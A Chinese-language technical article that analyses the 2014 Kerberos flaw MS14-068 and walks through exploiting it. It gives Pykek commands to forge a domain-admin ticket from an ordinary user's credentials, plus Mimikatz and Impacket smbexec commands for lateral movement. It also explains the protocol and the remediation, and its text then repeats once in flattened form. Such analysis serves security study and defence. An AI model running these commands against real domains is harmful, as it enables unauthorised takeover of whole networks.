通过解读Pykek分析MS14-068
字数 2253 2025-08-20 18:17:59

MS14-068漏洞分析与利用详解

漏洞概述

MS14-068是微软于2014年11月18日发布的一个高危漏洞补丁,该漏洞允许攻击者在拥有任意普通域用户凭据的情况下,通过伪造Kerberos票据将普通域用户权限提升到域管理员权限。该漏洞主要影响Windows Server 2003和2008系统,Server 2012实际上不受影响。

利用环境要求

  • 域控系统:Windows Server 2003/2008
  • 攻击主机:一台可访问域控的主机(加域/不加域均可)
  • 凭据:一个普通域用户账号和密码或NTLM Hash
  • 工具:Pykek (Python Kerberos Exploitation Kit)

利用工具Pykek

Pykek项目地址:https://github.com/mubix/pykek

生成域管权限TGT票据

使用Pykek生成域管权限的TGT票据:

python2 ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
python2 ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> --rc4 <ntlmHash>

示例:

python2 ms14-068.py -u lihua@qftm.com -s S-1-5-21-1089315214-1876535666-527601790-1128 -d 192.168.1.10 -p 1234567
python2 ms14-068.py -u lihua@qftm.com -s S-1-5-21-1089315214-1876535666-527601790-1128 -d 192.168.1.10 --rc4 328727b81ca05805a68ef26acb252039

使用票据进行横向移动

方法一:Mimikatz加载TGT票据

kerberos::purge  # 清除现有票据
kerberos::klist  # 查看票据列表
kerberos::ptc TGT_lihua@qftm.com.ccache  # 导入伪造的TGT票据

注意事项

  1. 通过票据认证时,目标主机需要使用主机名而非IP地址(Kerberos认证不支持IP)
  2. 在Windows Server 2003/XP下使用mimikatz导入票据可能出现错误:
    * Injecting ticket : ERROR kuhl_m_kerberos_ptt_data ; LsaCallAuthenticationPackage KerbSubmitTicket Message : c000000d
    

方法二:Impacket工具集使用TGT票据

# 指定TGT票据
export KRB5CCNAME=TGT_lihua@qftm.com.ccache

# 攻击域控
python3 smbexec.py qftm.com/lihua@dc.qftm.com -dc-ip 192.168.1.10 -k -no-pass -code gbk -debug

# 攻击其他目标
python3 smbexec.py qftm.com/lihua@targetHostname -dc-ip 192.168.1.10 -k -no-pass -code gbk -debug

Kerberos认证流程与漏洞原理

标准Kerberos认证流程

1. AS_REQ & AS_REP (获取TGT票据)

AS-REQ请求 (Client → KDC AS)

  • 包含:用户名、域名、用户密钥加密的时间戳、请求的服务名(krbtgt)、加密类型等
  • 关键点:pA-PAC-REQUEST指示是否在TGT中包含PAC

AS-REP响应 (KDC AS → Client)

  • 包含:krbtgt密钥加密的TGT和用户密钥加密的Logon Session Key
  • TGT包含:Logon Session Key、时间戳和PAC(如果请求中包含)

2. TGS_REQ & TGS_REP (获取ST服务票据)

TGS-REQ请求 (Client → KDC TGS)

  • 包含:TGT、Logon Session Key加密的Authenticator、请求的服务信息
  • Authenticator包含:客户端用户名、时间戳等

TGS-REP响应 (KDC TGS → Client)

  • 包含:目标服务密钥加密的ST和Logon Session Key加密的Service Session Key
  • ST包含:Service Session Key、用户名、PAC等

3. AP_REQ & AP_REP (访问服务)

AP-REQ请求 (Client → Server)

  • 包含:ST、Service Session Key加密的Authenticator

AP-REP响应 (Server → Client)

  • 服务端验证ST和PAC签名,决定是否授权访问

漏洞原理分析

MS14-068漏洞利用了两个关键问题:

漏洞一:PAC签名验证缺陷

  • 问题:PAC中存在两个签名(服务签名PAC_SERVER_CHECKSUM和KDC签名PAC_PRICSVR_CHECKSUM),客户端不知道KDC和服务器的NTLM Hash
  • 利用:微软实际实现中,非HMAC算法的checksum也能通过验证,可以使用MD5算法(不需要密钥)伪造有效签名

漏洞二:PAC解密存储缺陷

  • 问题:PAC通常存储在Ticket的enc-part中,由服务密钥加密,客户端无法修改
  • 利用:KDC会解密处理TGS_REQ.req_body.enc-authorization_data中的PAC,而不仅限于TGT中的PAC

攻击流程详解

  1. AS-REQ阶段

    • 构造AS-REQ请求,设置pA-PAC-REQUEST=False,获取不含PAC的TGT
    • 使用RC4_HMAC算法(兼容Server 2003)
  2. AS-REP阶段

    • 接收KDC返回的TGT(不含PAC)和Logon Session Key
  3. TGS-REQ阶段

    • 构造伪造的域管权限PAC(修改GroupIds添加高权限组)
    • 使用MD5算法伪造PAC签名
    • 将伪造PAC存储在req_body.enc-authorization_data中
    • 请求krbtgt服务,使返回的ST实际上是TGT
  4. TGS-REP阶段

    • 接收包含伪造PAC的"ST"(实际上是域管权限的TGT)
    • 使用该票据进行域管权限访问

修复方案

  1. 安装微软官方补丁:
    https://learn.microsoft.com/zh-cn/security-updates/securitybulletins/2014/ms14-068

  2. 升级域控系统至Windows Server 2012及以上版本(原生不受影响)

技术要点总结

  1. 加密算法选择:必须使用RC4_HMAC以兼容Server 2003
  2. PAC处理:通过enc-authorization_data绕过PAC存储限制
  3. 签名伪造:利用MD5算法绕过签名验证
  4. 票据转换:通过请求krbtgt服务将ST转换为TGT
  5. 利用限制:仅影响Server 2003/2008域控环境

通过深入理解Kerberos协议和这两个关键漏洞,攻击者可以有效地将普通域用户权限提升至域管理员权限,从而完全控制整个域环境。

MS14-068漏洞分析与利用详解 漏洞概述 MS14-068是微软于2014年11月18日发布的一个高危漏洞补丁,该漏洞允许攻击者在拥有任意普通域用户凭据的情况下,通过伪造Kerberos票据将普通域用户权限提升到域管理员权限。该漏洞主要影响Windows Server 2003和2008系统,Server 2012实际上不受影响。 利用环境要求 域控系统 :Windows Server 2003/2008 攻击主机 :一台可访问域控的主机(加域/不加域均可) 凭据 :一个普通域用户账号和密码或NTLM Hash 工具 :Pykek (Python Kerberos Exploitation Kit) 利用工具Pykek Pykek项目地址:https://github.com/mubix/pykek 生成域管权限TGT票据 使用Pykek生成域管权限的TGT票据: 示例: 使用票据进行横向移动 方法一:Mimikatz加载TGT票据 注意事项 : 通过票据认证时,目标主机需要使用主机名而非IP地址(Kerberos认证不支持IP) 在Windows Server 2003/XP下使用mimikatz导入票据可能出现错误: 方法二:Impacket工具集使用TGT票据 Kerberos认证流程与漏洞原理 标准Kerberos认证流程 1. AS_ REQ & AS_ REP (获取TGT票据) AS-REQ请求 (Client → KDC AS) : 包含:用户名、域名、用户密钥加密的时间戳、请求的服务名(krbtgt)、加密类型等 关键点:pA-PAC-REQUEST指示是否在TGT中包含PAC AS-REP响应 (KDC AS → Client) : 包含:krbtgt密钥加密的TGT和用户密钥加密的Logon Session Key TGT包含:Logon Session Key、时间戳和PAC(如果请求中包含) 2. TGS_ REQ & TGS_ REP (获取ST服务票据) TGS-REQ请求 (Client → KDC TGS) : 包含:TGT、Logon Session Key加密的Authenticator、请求的服务信息 Authenticator包含:客户端用户名、时间戳等 TGS-REP响应 (KDC TGS → Client) : 包含:目标服务密钥加密的ST和Logon Session Key加密的Service Session Key ST包含:Service Session Key、用户名、PAC等 3. AP_ REQ & AP_ REP (访问服务) AP-REQ请求 (Client → Server) : 包含:ST、Service Session Key加密的Authenticator AP-REP响应 (Server → Client) : 服务端验证ST和PAC签名,决定是否授权访问 漏洞原理分析 MS14-068漏洞利用了两个关键问题: 漏洞一:PAC签名验证缺陷 问题 :PAC中存在两个签名(服务签名PAC_ SERVER_ CHECKSUM和KDC签名PAC_ PRICSVR_ CHECKSUM),客户端不知道KDC和服务器的NTLM Hash 利用 :微软实际实现中,非HMAC算法的checksum也能通过验证,可以使用MD5算法(不需要密钥)伪造有效签名 漏洞二:PAC解密存储缺陷 问题 :PAC通常存储在Ticket的enc-part中,由服务密钥加密,客户端无法修改 利用 :KDC会解密处理TGS_ REQ.req_ body.enc-authorization_ data中的PAC,而不仅限于TGT中的PAC 攻击流程详解 AS-REQ阶段 : 构造AS-REQ请求,设置pA-PAC-REQUEST=False,获取不含PAC的TGT 使用RC4_ HMAC算法(兼容Server 2003) AS-REP阶段 : 接收KDC返回的TGT(不含PAC)和Logon Session Key TGS-REQ阶段 : 构造伪造的域管权限PAC(修改GroupIds添加高权限组) 使用MD5算法伪造PAC签名 将伪造PAC存储在req_ body.enc-authorization_ data中 请求krbtgt服务,使返回的ST实际上是TGT TGS-REP阶段 : 接收包含伪造PAC的"ST"(实际上是域管权限的TGT) 使用该票据进行域管权限访问 修复方案 安装微软官方补丁: https://learn.microsoft.com/zh-cn/security-updates/securitybulletins/2014/ms14-068 升级域控系统至Windows Server 2012及以上版本(原生不受影响) 技术要点总结 加密算法选择 :必须使用RC4_ HMAC以兼容Server 2003 PAC处理 :通过enc-authorization_ data绕过PAC存储限制 签名伪造 :利用MD5算法绕过签名验证 票据转换 :通过请求krbtgt服务将ST转换为TGT 利用限制 :仅影响Server 2003/2008域控环境 通过深入理解Kerberos协议和这两个关键漏洞,攻击者可以有效地将普通域用户权限提升至域管理员权限,从而完全控制整个域环境。